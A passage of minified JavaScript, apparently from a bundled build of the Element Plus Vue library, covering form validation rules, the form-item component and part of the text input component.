`).replace(/\s*\/\/.*$/gm,"").replace(/\n/g,"").trim(),i=new RegExp("(?:^"+n+"$)|(?:^"+o+"$)"),s=new RegExp("^"+n+"$"),a=new RegExp("^"+o+"$"),l=function(x){return x&&x.exact?i:new RegExp("(?:"+t(x)+n+t(x)+")|(?:"+t(x)+o+t(x)+")","g")};l.v4=function(E){return E&&E.exact?s:new RegExp(""+t(E)+n+t(E),"g")},l.v6=function(E){return E&&E.exact?a:new RegExp(""+t(E)+o+t(E),"g")};var u="(?:(?:[a-z]+:)?//)",c="(?:\\S+(?::\\S*)?@)?",f=l.v4().source,p=l.v6().source,m="(?:(?:[a-z\\u00a1-\\uffff0-9][-_]*)*[a-z\\u00a1-\\uffff0-9]+)",g="(?:\\.(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)*",v="(?:\\.(?:[a-z\\u00a1-\\uffff]{2,}))",I="(?::\\d{2,5})?",q='(?:[/?#][^\\s"]*)?',M="(?:"+u+"|www\\.)"+c+"(?:localhost|"+f+"|"+p+"|"+m+g+v+")"+I+q;return Jf=new RegExp("(?:^"+M+"$)","i"),Jf},w2={email:/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+\.)+[a-zA-Z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{2,}))$/,hex:/^#?([a-f0-9]{6}|[a-f0-9]{3})$/i},Jc={integer:function(t){return Jc.number(t)&&parseInt(t,10)===t},float:function(t){return Jc.number(t)&&!Jc.integer(t)},array:function(t){return Array.isArray(t)},regexp:function(t){if(t instanceof RegExp)return!0;try{return!!new RegExp(t)}catch{return!1}},date:function(t){return typeof t.getTime=="function"&&typeof t.getMonth=="function"&&typeof t.getYear=="function"&&!isNaN(t.getTime())},number:function(t){return isNaN(t)?!1:typeof t=="number"},object:function(t){return typeof t=="object"&&!Jc.array(t)},method:function(t){return typeof t=="function"},email:function(t){return typeof t=="string"&&t.length<=320&&!!t.match(w2.email)},url:function(t){return typeof t=="string"&&t.length<=2048&&!!t.match(HP())},hex:function(t){return typeof t=="string"&&!!t.match(w2.hex)}},PP=function(t,n,r,o,i){if(t.required&&n===void 0){N6(t,n,r,o,i);return}var s=["integer","float","array","regexp","object","method","email","number","date","url","hex"],a=t.type;s.indexOf(a)>-1?Jc[a](n)||o.push(So(i.messages.types[a],t.fullField,t.type)):a&&typeof n!==t.type&&o.push(So(i.messages.types[a],t.fullField,t.type))},DP=function(t,n,r,o,i){var s=typeof t.len=="number",a=typeof t.min=="number",l=typeof t.max=="number",u=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,c=n,f=null,p=typeof n=="number",m=typeof n=="string",g=Array.isArray(n);if(p?f="number":m?f="string":g&&(f="array"),!f)return!1;g&&(c=n.length),m&&(c=n.replace(u,"_").length),s?c!==t.len&&o.push(So(i.messages[f].len,t.fullField,t.len)):a&&!l&&c<t.min?o.push(So(i.messages[f].min,t.fullField,t.min)):l&&!a&&c>t.max?o.push(So(i.messages[f].max,t.fullField,t.max)):a&&l&&(c<t.min||c>t.max)&&o.push(So(i.messages[f].range,t.fullField,t.min,t.max))},eu="enum",XP=function(t,n,r,o,i){t[eu]=Array.isArray(t[eu])?t[eu]:[],t[eu].indexOf(n)===-1&&o.push(So(i.messages[eu],t.fullField,t[eu].join(", ")))},QP=function(t,n,r,o,i){if(t.pattern){if(t.pattern instanceof RegExp)t.pattern.lastIndex=0,t.pattern.test(n)||o.push(So(i.messages.pattern.mismatch,t.fullField,n,t.pattern));else if(typeof t.pattern=="string"){var s=new RegExp(t.pattern);s.test(n)||o.push(So(i.messages.pattern.mismatch,t.fullField,n,t.pattern))}}},fn={required:N6,whitespace:FP,type:PP,range:DP,enum:XP,pattern:QP},_P=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n,"string")&&!t.required)return r();fn.required(t,n,o,s,i,"string"),hr(n,"string")||(fn.type(t,n,o,s,i),fn.range(t,n,o,s,i),fn.pattern(t,n,o,s,i),t.whitespace===!0&&fn.whitespace(t,n,o,s,i))}r(s)},$P=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&fn.type(t,n,o,s,i)}r(s)},eD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(n===""&&(n=void 0),hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&(fn.type(t,n,o,s,i),fn.range(t,n,o,s,i))}r(s)},tD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&fn.type(t,n,o,s,i)}r(s)},nD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),hr(n)||fn.type(t,n,o,s,i)}r(s)},rD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&(fn.type(t,n,o,s,i),fn.range(t,n,o,s,i))}r(s)},oD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&(fn.type(t,n,o,s,i),fn.range(t,n,o,s,i))}r(s)},iD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(n==null&&!t.required)return r();fn.required(t,n,o,s,i,"array"),n!=null&&(fn.type(t,n,o,s,i),fn.range(t,n,o,s,i))}r(s)},sD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&fn.type(t,n,o,s,i)}r(s)},aD="enum",lD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i),n!==void 0&&fn[aD](t,n,o,s,i)}r(s)},uD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n,"string")&&!t.required)return r();fn.required(t,n,o,s,i),hr(n,"string")||fn.pattern(t,n,o,s,i)}r(s)},cD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n,"date")&&!t.required)return r();if(fn.required(t,n,o,s,i),!hr(n,"date")){var l;n instanceof Date?l=n:l=new Date(n),fn.type(t,l,o,s,i),l&&fn.range(t,l.getTime(),o,s,i)}}r(s)},dD=function(t,n,r,o,i){var s=[],a=Array.isArray(n)?"array":typeof n;fn.required(t,n,o,s,i,a),r(s)},r0=function(t,n,r,o,i){var s=t.type,a=[],l=t.required||!t.required&&o.hasOwnProperty(t.field);if(l){if(hr(n,s)&&!t.required)return r();fn.required(t,n,o,a,i,s),hr(n,s)||fn.type(t,n,o,a,i)}r(a)},fD=function(t,n,r,o,i){var s=[],a=t.required||!t.required&&o.hasOwnProperty(t.field);if(a){if(hr(n)&&!t.required)return r();fn.required(t,n,o,s,i)}r(s)},ad={string:_P,method:$P,number:eD,boolean:tD,regexp:nD,integer:rD,float:oD,array:iD,object:sD,enum:lD,pattern:uD,date:cD,url:r0,hex:r0,email:r0,required:dD,any:fD};function Ug(){return{default:"Validation error on field %s",required:"%s is required",enum:"%s must be one of %s",whitespace:"%s cannot be empty",date:{format:"%s date %s is invalid for format %s",parse:"%s date could not be parsed, %s is invalid ",invalid:"%s date %s is invalid"},types:{string:"%s is not a %s",method:"%s is not a %s (function)",array:"%s is not an %s",object:"%s is not an %s",number:"%s is not a %s",date:"%s is not a %s",boolean:"%s is not a %s",integer:"%s is not an %s",float:"%s is not a %s",regexp:"%s is not a valid %s",email:"%s is not a valid %s",url:"%s is not a valid %s",hex:"%s is not a valid %s"},string:{len:"%s must be exactly %s characters",min:"%s must be at least %s characters",max:"%s cannot be longer than %s characters",range:"%s must be between %s and %s characters"},number:{len:"%s must equal %s",min:"%s cannot be less than %s",max:"%s cannot be greater than %s",range:"%s must be between %s and %s"},array:{len:"%s must be exactly %s in length",min:"%s cannot be less than %s in length",max:"%s cannot be greater than %s in length",range:"%s must be between %s and %s in length"},pattern:{mismatch:"%s value %s does not match pattern %s"},clone:function(){var t=JSON.parse(JSON.stringify(this));return t.clone=this.clone,t}}}var Fg=Ug(),pf=function(){function e(n){this.rules=null,this._messages=Fg,this.define(n)}var t=e.prototype;return t.define=function(r){var o=this;if(!r)throw new Error("Cannot configure a schema with no rules");if(typeof r!="object"||Array.isArray(r))throw new Error("Rules must be an object");this.rules={},Object.keys(r).forEach(function(i){var s=r[i];o.rules[i]=Array.isArray(s)?s:[s]})},t.messages=function(r){return r&&(this._messages=q2(Ug(),r)),this._messages},t.validate=function(r,o,i){var s=this;o===void 0&&(o={}),i===void 0&&(i=function(){});var a=r,l=o,u=i;if(typeof l=="function"&&(u=l,l={}),!this.rules||Object.keys(this.rules).length===0)return u&&u(null,a),Promise.resolve(a);function c(v){var I=[],q={};function M(x){if(Array.isArray(x)){var R;I=(R=I).concat.apply(R,x)}else I.push(x)}for(var E=0;E<v.length;E++)M(v[E]);I.length?(q=Vg(I),u(I,q)):u(null,a)}if(l.messages){var f=this.messages();f===Fg&&(f=Ug()),q2(f,l.messages),l.messages=f}else l.messages=this.messages();var p={},m=l.keys||Object.keys(this.rules);m.forEach(function(v){var I=s.rules[v],q=a[v];I.forEach(function(M){var E=M;typeof E.transform=="function"&&(a===r&&(a=el({},a)),q=a[v]=E.transform(q)),typeof E=="function"?E={validator:E}:E=el({},E),E.validator=s.getValidationMethod(E),E.validator&&(E.field=v,E.fullField=E.fullField||v,E.type=s.getType(E),p[v]=p[v]||[],p[v].push({rule:E,value:q,source:a,field:v}))})});var g={};return JP(p,l,function(v,I){var q=v.rule,M=(q.type==="object"||q.type==="array")&&(typeof q.fields=="object"||typeof q.defaultField=="object");M=M&&(q.required||!q.required&&v.value),q.field=v.field;function E(K,W){return el({},W,{fullField:q.fullField+"."+K,fullFields:q.fullFields?[].concat(q.fullFields,[K]):[K]})}function x(K){K===void 0&&(K=[]);var W=Array.isArray(K)?K:[K];!l.suppressWarning&&W.length&&e.warning("async-validator:",W),W.length&&q.message!==void 0&&(W=[].concat(q.message));var j=W.map(I2(q,a));if(l.first&&j.length)return g[q.field]=1,I(j);if(!M)I(j);else{if(q.required&&!v.value)return q.message!==void 0?j=[].concat(q.message).map(I2(q,a)):l.error&&(j=[l.error(q,So(l.messages.required,q.field))]),I(j);var H={};q.defaultField&&Object.keys(v.value).map(function(X){H[X]=q.defaultField}),H=el({},H,v.rule.fields);var P={};Object.keys(H).forEach(function(X){var L=H[X],h=Array.isArray(L)?L:[L];P[X]=h.map(E.bind(null,X))});var U=new e(P);U.messages(l.messages),v.rule.options&&(v.rule.options.messages=l.messages,v.rule.options.error=l.error),U.validate(v.value,v.rule.options||l,function(X){var L=[];j&&j.length&&L.push.apply(L,j),X&&X.length&&L.push.apply(L,X),I(L.length?L:null)})}}var R;if(q.asyncValidator)R=q.asyncValidator(q,v.value,x,v.source,l);else if(q.validator){try{R=q.validator(q,v.value,x,v.source,l)}catch(K){console.error==null||console.error(K),l.suppressValidatorError||setTimeout(function(){throw K},0),x(K.message)}R===!0?x():R===!1?x(typeof q.message=="function"?q.message(q.fullField||q.field):q.message||(q.fullField||q.field)+" fails"):R instanceof Array?x(R):R instanceof Error&&x(R.message)}R&&R.then&&R.then(function(){return x()},function(K){return x(K)})},function(v){c(v)},a)},t.getType=function(r){if(r.type===void 0&&r.pattern instanceof RegExp&&(r.type="pattern"),typeof r.validator!="function"&&r.type&&!ad.hasOwnProperty(r.type))throw new Error(So("Unknown rule type %s",r.type));return r.type||"string"},t.getValidationMethod=function(r){if(typeof r.validator=="function")return r.validator;var o=Object.keys(r),i=o.indexOf("message");return i!==-1&&o.splice(i,1),o.length===1&&o[0]==="required"?ad.required:ad[this.getType(r)]||void 0},e}();pf.register=function(t,n){if(typeof n!="function")throw new Error("Cannot register a validator by type, validator is not a function");ad[t]=n};pf.warning=WP;pf.messages=Fg;pf.validators=ad;const hD=["","error","validating","success"],pD=Ge({label:String,labelWidth:{type:[String,Number],default:""},prop:{type:he([String,Array])},required:{type:Boolean,default:void 0},rules:{type:he([Object,Array])},error:String,validateStatus:{type:String,values:hD},for:String,inlineMessage:{type:[String,Boolean],default:""},showMessage:{type:Boolean,default:!0},size:{type:String,values:Ui}}),S2="ElLabelWrap";var mD=ie({name:S2,props:{isAutoWidth:Boolean,updateAll:Boolean},setup(e,{slots:t}){const n=Fe(Hl,void 0),r=Fe(Yi);r||tr(S2,"usage: <el-form-item><label-wrap /></el-form-item>");const o=Oe("form"),i=D(),s=D(0),a=()=>{var c;if((c=i.value)!=null&&c.firstElementChild){const f=window.getComputedStyle(i.value.firstElementChild).width;return Math.ceil(Number.parseFloat(f))}else return 0},l=(c="update")=>{$e(()=>{t.default&&e.isAutoWidth&&(c==="update"?s.value=a():c==="remove"&&(n==null||n.deregisterLabelWidth(s.value)))})},u=()=>l("update");return mt(()=>{u()}),vn(()=>{l("remove")}),ws(()=>u()),Ce(s,(c,f)=>{e.updateAll&&(n==null||n.registerLabelWidth(c,f))}),On(N(()=>{var c,f;return(f=(c=i.value)==null?void 0:c.firstElementChild)!=null?f:null}),u),()=>{var c,f;if(!t)return null;const{isAutoWidth:p}=e;if(p){const m=n==null?void 0:n.autoLabelWidth,g=r==null?void 0:r.hasLabel,v={};if(g&&m&&m!=="auto"){const I=Math.max(0,Number.parseInt(m,10)-s.value),q=n.labelPosition==="left"?"marginRight":"marginLeft";I&&(v[q]=`${I}px`)}return ae("div",{ref:i,class:[o.be("item","label-wrap")],style:v},[(c=t.default)==null?void 0:c.call(t)])}else return ae(Qe,{ref:i},[(f=t.default)==null?void 0:f.call(t)])}}});const vD=["role","aria-labelledby"],gD=ie({name:"ElFormItem"}),yD=ie({...gD,props:pD,setup(e,{expose:t}){const n=e,r=pr(),o=Fe(Hl,void 0),i=Fe(Yi,void 0),s=nr(void 0,{formItem:!1}),a=Oe("form-item"),l=Jr().value,u=D([]),c=D(""),f=gN(c,100),p=D(""),m=D();let g,v=!1;const I=N(()=>{if((o==null?void 0:o.labelPosition)==="top")return{};const de=Yn(n.labelWidth||(o==null?void 0:o.labelWidth)||"");return de?{width:de}:{}}),q=N(()=>{if((o==null?void 0:o.labelPosition)==="top"||o!=null&&o.inline)return{};if(!n.label&&!n.labelWidth&&H)return{};const de=Yn(n.labelWidth||(o==null?void 0:o.labelWidth)||"");return!n.label&&!r.label?{marginLeft:de}:{}}),M=N(()=>[a.b(),a.m(s.value),a.is("error",c.value==="error"),a.is("validating",c.value==="validating"),a.is("success",c.value==="success"),a.is("required",h.value||n.required),a.is("no-asterisk",o==null?void 0:o.hideRequiredAsterisk),(o==null?void 0:o.requireAsteriskPosition)==="right"?"asterisk-right":"asterisk-left",{[a.m("feedback")]:o==null?void 0:o.statusIcon}]),E=N(()=>Un(n.inlineMessage)?n.inlineMessage:(o==null?void 0:o.inlineMessage)||!1),x=N(()=>[a.e("error"),{[a.em("error","inline")]:E.value}]),R=N(()=>n.prop?st(n.prop)?n.prop:n.prop.join("."):""),K=N(()=>!!(n.label||r.label)),W=N(()=>n.for||(u.value.length===1?u.value[0]:void 0)),j=N(()=>!W.value&&K.value),H=!!i,P=N(()=>{const de=o==null?void 0:o.model;if(!(!de||!n.prop))return Mh(de,n.prop).value}),U=N(()=>{const{required:de}=n,ce=[];n.rules&&ce.push(...Ml(n.rules));const we=o==null?void 0:o.rules;if(we&&n.prop){const Ie=Mh(we,n.prop).value;Ie&&ce.push(...Ml(Ie))}if(de!==void 0){const Ie=ce.map((ge,Me)=>[ge,Me]).filter(([ge])=>Object.keys(ge).includes("required"));if(Ie.length>0)for(const[ge,Me]of Ie)ge.required!==de&&(ce[Me]={...ge,required:de});else ce.push({required:de})}return ce}),X=N(()=>U.value.length>0),L=de=>U.value.filter(we=>!we.trigger||!de?!0:Array.isArray(we.trigger)?we.trigger.includes(de):we.trigger===de).map(({trigger:we,...Ie})=>Ie),h=N(()=>U.value.some(de=>de.required)),b=N(()=>{var de;return f.value==="error"&&n.showMessage&&((de=o==null?void 0:o.showMessage)!=null?de:!0)}),w=N(()=>`${n.label||""}${(o==null?void 0:o.labelSuffix)||""}`),A=de=>{c.value=de},C=de=>{var ce,we;const{errors:Ie,fields:ge}=de;(!Ie||!ge)&&console.error(de),A("error"),p.value=Ie?(we=(ce=Ie==null?void 0:Ie[0])==null?void 0:ce.message)!=null?we:`${n.prop} is required`:"",o==null||o.emit("validate",n.prop,!1,p.value)},S=()=>{A("success"),o==null||o.emit("validate",n.prop,!0,"")},z=async de=>{const ce=R.value;return new pf({[ce]:de}).validate({[ce]:P.value},{firstFields:!0}).then(()=>(S(),!0)).catch(Ie=>(C(Ie),Promise.reject(Ie)))},k=async(de,ce)=>{if(v||!n.prop)return!1;const we=ot(ce);if(!X.value)return ce==null||ce(!1),!1;const Ie=L(de);return Ie.length===0?(ce==null||ce(!0),!0):(A("validating"),z(Ie).then(()=>(ce==null||ce(!0),!0)).catch(ge=>{const{fields:Me}=ge;return ce==null||ce(!1,Me),we?!1:Promise.reject(Me)}))},y=()=>{A(""),p.value="",v=!1},T=async()=>{const de=o==null?void 0:o.model;if(!de||!n.prop)return;const ce=Mh(de,n.prop);v=!0,ce.value=GS(g),await $e(),y(),v=!1},te=de=>{u.value.includes(de)||u.value.push(de)},le=de=>{u.value=u.value.filter(ce=>ce!==de)};Ce(()=>n.error,de=>{p.value=de||"",A(de?"error":"")},{immediate:!0}),Ce(()=>n.validateStatus,de=>A(de||""));const re=$t({...Fn(n),$el:m,size:s,validateState:c,labelId:l,inputIds:u,isGroup:j,hasLabel:K,fieldValue:P,addInputId:te,removeInputId:le,resetField:T,clearValidate:y,validate:k});return Ot(Yi,re),mt(()=>{n.prop&&(o==null||o.addField(re),g=GS(P.value))}),vn(()=>{o==null||o.removeField(re)}),t({size:s,validateMessage:p,validateState:c,validate:k,clearValidate:y,resetField:T}),(de,ce)=>{var we;return B(),_("div",{ref_key:"formItemRef",ref:m,class:F(d(M)),role:d(j)?"group":void 0,"aria-labelledby":d(j)?d(l):void 0},[ae(d(mD),{"is-auto-width":d(I).width==="auto","update-all":((we=d(o))==null?void 0:we.labelWidth)==="auto"},{default:fe(()=>[d(K)?(B(),ye(Et(d(W)?"label":"div"),{key:0,id:d(l),for:d(W),class:F(d(a).e("label")),style:De(d(I))},{default:fe(()=>[qe(de.$slots,"label",{label:d(w)},()=>[Kt(We(d(w)),1)])]),_:3},8,["id","for","class","style"])):pe("v-if",!0)]),_:3},8,["is-auto-width","update-all"]),ne("div",{class:F(d(a).e("content")),style:De(d(q))},[qe(de.$slots,"default"),ae(TA,{name:`${d(a).namespace.value}-zoom-in-top`},{default:fe(()=>[d(b)?qe(de.$slots,"error",{key:0,error:p.value},()=>[ne("div",{class:F(d(x))},We(p.value),3)]):pe("v-if",!0)]),_:3},8,["name"])],6)],10,vD)}}});var j6=Ye(yD,[["__file","form-item.vue"]]);const bD=It(LP,{FormItem:j6}),ID=kn(j6);let _o;const qD=`
  height:0 !important;
  visibility:hidden !important;
  ${r3()?"":"overflow:hidden !important;"}
  position:absolute !important;
  z-index:-1000 !important;
  top:0 !important;
  right:0 !important;
`,wD=["letter-spacing","line-height","padding-top","padding-bottom","font-family","font-weight","font-size","text-rendering","text-transform","width","text-indent","padding-left","padding-right","border-width","box-sizing"];function SD(e){const t=window.getComputedStyle(e),n=t.getPropertyValue("box-sizing"),r=Number.parseFloat(t.getPropertyValue("padding-bottom"))+Number.parseFloat(t.getPropertyValue("padding-top")),o=Number.parseFloat(t.getPropertyValue("border-bottom-width"))+Number.parseFloat(t.getPropertyValue("border-top-width"));return{contextStyle:wD.map(s=>`${s}:${t.getPropertyValue(s)}`).join(";"),paddingSize:r,borderSize:o,boxSizing:n}}function E2(e,t=1,n){var r;_o||(_o=document.createElement("textarea"),document.body.appendChild(_o));const{paddingSize:o,borderSize:i,boxSizing:s,contextStyle:a}=SD(e);_o.setAttribute("style",`${a};${qD}`),_o.value=e.value||e.placeholder||"";let l=_o.scrollHeight;const u={};s==="border-box"?l=l+i:s==="content-box"&&(l=l-o),_o.value="";const c=_o.scrollHeight-o;if(nt(t)){let f=c*t;s==="border-box"&&(f=f+o+i),l=Math.max(f,l),u.minHeight=`${f}px`}if(nt(n)){let f=c*n;s==="border-box"&&(f=f+o+i),l=Math.min(f,l)}return u.height=`${l}px`,(r=_o.parentNode)==null||r.removeChild(_o),_o=void 0,u}const ED=Ge({id:{type:String,default:void 0},size:fr,disabled:Boolean,modelValue:{type:he([String,Number,Object]),default:""},maxlength:{type:[String,Number]},minlength:{type:[String,Number]},type:{type:String,default:"text"},resize:{type:String,values:["none","both","horizontal","vertical"]},autosize:{type:he([Boolean,Object]),default:!1},autocomplete:{type:String,default:"off"},formatter:{type:Function},parser:{type:Function},placeholder:{type:String},form:{type:String},readonly:{type:Boolean,default:!1},clearable:{type:Boolean,default:!1},showPassword:{type:Boolean,default:!1},showWordLimit:{type:Boolean,default:!1},suffixIcon:{type:cn},prefixIcon:{type:cn},containerRole:{type:String,default:void 0},label:{type:String,default:void 0},tabindex:{type:[String,Number],default:0},validateEvent:{type:Boolean,default:!0},inputStyle:{type:he([Object,Array,String]),default:()=>Mn({})},autofocus:{type:Boolean,default:!1}}),AD={[St]:e=>st(e),input:e=>st(e),change:e=>st(e),focus:e=>e instanceof FocusEvent,blur:e=>e instanceof FocusEvent,clear:()=>!0,mouseleave:e=>e instanceof MouseEvent,mouseenter:e=>e instanceof MouseEvent,keydown:e=>e instanceof Event,compositionstart:e=>e instanceof CompositionEvent,compositionupdate:e=>e instanceof CompositionEvent,compositionend:e=>e instanceof CompositionEvent},MD=["role"],CD=["id","minlength","maxlength","type","disabled","readonly","autocomplete","tabindex","aria-label","placeholder","form","autofocus"],kD=["id","minlength","maxlength","tabindex","disabled","readonly","autocomplete","aria-label","placeholder","form","autofocus"],xD=ie({name:"ElInput",inheritAttrs:!1}),OD=ie({...xD,props:ED,emits:AD,setup(e,{expose:t,emit:n}){const r=e,o=Nl(),i=pr(),s=N(()=>{const Se={};return r.containerRole==="combobox"&&(Se["aria-haspopup"]=o["aria-haspopup"],Se["aria-owns"]=o["aria-owns"],Se["aria-expanded"]=o["aria-expanded"]),Se}),a=N(()=>[r.type==="textarea"?I.b():v.b(),v.m(m.value),v.is("disabled",g.value),v.is("exceed",te.value),{[v.b("group")]:i.prepend||i.append,[v.bm("group","append")]:i.append,[v.bm("group","prepend")]:i.prepend,[v.m("prefix")]:i.prefix||r.prefixIcon,[v.m("suffix")]:i.suffix||r.suffixIcon||r.clearable||r.showPassword,[v.bm("suffix","password-clear")]:z.value&&k.value,[v.b("hidden")]:r.type==="hidden"},o.class]),l=N(()=>[v.e("wrapper"),v.is("focus",P.value)]),u=B1({excludeKeys:N(()=>Object.keys(s.value))}),{form:c,formItem:f}=eo(),{inputId:p}=Fi(r,{formItemContext:f}),m=nr(),g=fo(),v=Oe("input"),I=Oe("textarea"),q=ln(),M=ln(),E=D(!1),x=D(!1),R=D(!1),K=D(),W=ln(r.inputStyle),j=N(()=>q.value||M.value),{wrapperRef:H,isFocused:P,handleFocus:U,handleBlur:X}=Wm(j,{afterBlur(){var Se;r.validateEvent&&((Se=f==null?void 0:f.validate)==null||Se.call(f,"blur").catch(Ze=>void 0))}}),L=N(()=>{var Se;return(Se=c==null?void 0:c.statusIcon)!=null?Se:!1}),h=N(()=>(f==null?void 0:f.validateState)||""),b=N(()=>h.value&&G1[h.value]),w=N(()=>R.value?tH:AF),A=N(()=>[o.style]),C=N(()=>[r.inputStyle,W.value,{resize:r.resize}]),S=N(()=>$n(r.modelValue)?"":String(r.modelValue)),z=N(()=>r.clearable&&!g.value&&!r.readonly&&!!S.value&&(P.value||E.value)),k=N(()=>r.showPassword&&!g.value&&!r.readonly&&!!S.value&&(!!S.value||P.value)),y=N(()=>r.showWordLimit&&!!r.maxlength&&(r.type==="text"||r.type==="textarea")&&!g.value&&!r.readonly&&!r.showPassword),T=N(()=>S.value.length),te=N(()=>!!y.value&&T.value>Number(r.maxlength)),le=N(()=>!!i.suffix||!!r.suffixIcon||z.value||r.showPassword||y.value||!!h.value&&L.value),[re,de]=tP(q);On(M,Se=>{if(Ie(),!y.value||r.resize!=="both")return;const Ze=Se[0],{width:Q}=Ze.contentRect;K.value={right:`calc(100% - ${Q+15+6}px)`}});const ce=()=>{const{type:Se,autosize:Ze}=r;if(!(!Tt||Se!=="textarea"||!M.value))if(Ze){const Q=At(Ze)?Ze.minRows:void 0,J=At(Ze)?Ze.maxRows:void 0,V=E2(M.value,Q,J);W.value={overflowY:"hidden",...V},$e(()=>{M.value.offsetHeight,W.value=V})}else W.value={minHeight:E2(M.value).minHeight}},Ie=(Se=>{let Ze=!1;return()=>{var Q;if(Ze||!r.autosize)return;((Q=M.value)==null?void 0:Q.offsetParent)===null||(Se(),Ze=!0)}})(ce),ge=()=>{const Se=j.value,Ze=r.formatter?r.formatter(S.value):S.value;!Se||Se.value===Ze||(Se.value=Ze)},Me=async Se=>{re();let{value:Ze}=Se.target;if(r.formatter&&(Ze=r.parser?r.parser(Ze):Ze),!x.value){if(Ze===S.value){ge();return}n(St,Ze),n("input",Ze),await $e(),ge(),de()}},se=Se=>{n("change",Se.target.value)},ue=Se=>{n("compositionstart",Se),x.value=!0},ve=Se=>{var Ze;n("compositionupdate",Se);const Q=(Ze=Se.target)==null?void 0:Ze.value,J=Q[Q.length-1]||"";x.value=!Y1(J)},ke=Se=>{n("compositionend",Se),x.value&&(x.value=!1,Me(Se))},me=()=>{R.value=!R.value,Ee()},Ee=async()=>{var Se;await $e(),(Se=j.value)==null||Se.focus()},Le=()=>{var Se;return(Se=j.value)==null?void 0:Se.blur()},Ae=Se=>{E.value=!1,n("mouseleave",Se)},be=Se=>{E.value=!0,n("mouseenter",Se)},xe=Se=>{n("keydown",Se)},Re=()=>{var Se;(Se=j.value)==null||Se.select()},Ne=()=>{n(St,""),n("change",""),n("clear"),n("input","")};return Ce(()=>r.modelValue,()=>{var Se;$e(()=>ce()),r.validateEvent&&((Se=f==null?void 0:f.validate)==null||Se.call(f,"change").catch(Ze=>void 0))}),Ce(S,()=>ge()),Ce(()=>r.type,async()=>{await $e(),ge(),ce()}),mt(()=>{!r.formatter&&r.parser,ge(),$e(ce)}),t({input:q,textarea:M,ref:j,textareaStyle:C,autosize:hn(r,"autosize"),focus:Ee,blur:Le,select:Re,clear:Ne,resizeTextarea:ce}),(Se,Ze)=>(B(),_("div",xt(d(s),{class:d(a),style:d(A),role:Se.containerRole,onMouseenter:be,onMouseleave:Ae}),[pe(" input "),Se.type!=="textarea"?(B(),_(Qe,{key:0},[pe(" prepend slot "),Se.$slots.prepend?(B(),_("div",{key:0,class:F(d(v).be("group","prepend"))},[qe(Se.$slots,"prepend")],2)):pe("v-if",!0),ne("div",{ref_key:"wrapperRef",ref:H,class:F(d(l))},[pe(" prefix slot "),Se.$slots.prefix||Se.prefixIcon?(B(),_("span",{key:0,class:F(d(v).e("prefix"))},[ne("span",{class:F(d(v).e("prefix-inner"))},[qe(Se.$slots,"prefix"),Se.prefixIcon?(B(),ye(d(Pe),{key:0,class:F(d(v).e("icon"))},{default:fe(()=>[(B(),ye(Et(Se.prefixIcon)))]),_:1},8,["class"])):pe("v-if",!0)],2)],2)):pe("v-if",!0),ne("input",xt({id:d(p),ref_key:"input",ref:q,class:d(v).e("inner")},d(u),{minlength:Se.minlength,maxlength:Se.maxlength,type:Se.showPassword?R.value?"text":"password":Se.type,disabled:d(g),readonly:Se.readonly,autocomplete:Se.autocomplete,tabindex:Se.tabindex,"aria-label":Se.label,placeholder:Se.placeholder,style:Se.inputStyle,form:Se.form,autofocus:Se.autofocus,onCompositionstart:ue,onCompositionupdate:ve,onCompositionend:ke,onInput:Me,onFocus:Ze[0]||(Ze[0]=(...Q)=>d(U)&&d(U)(...Q)),onBlur:Ze[1]||(Ze[1]=(...Q)=>d(X)&&d(X)(...Q)),onChange:se,onKeydown:xe}),null,16,CD),pe(" suffix slot 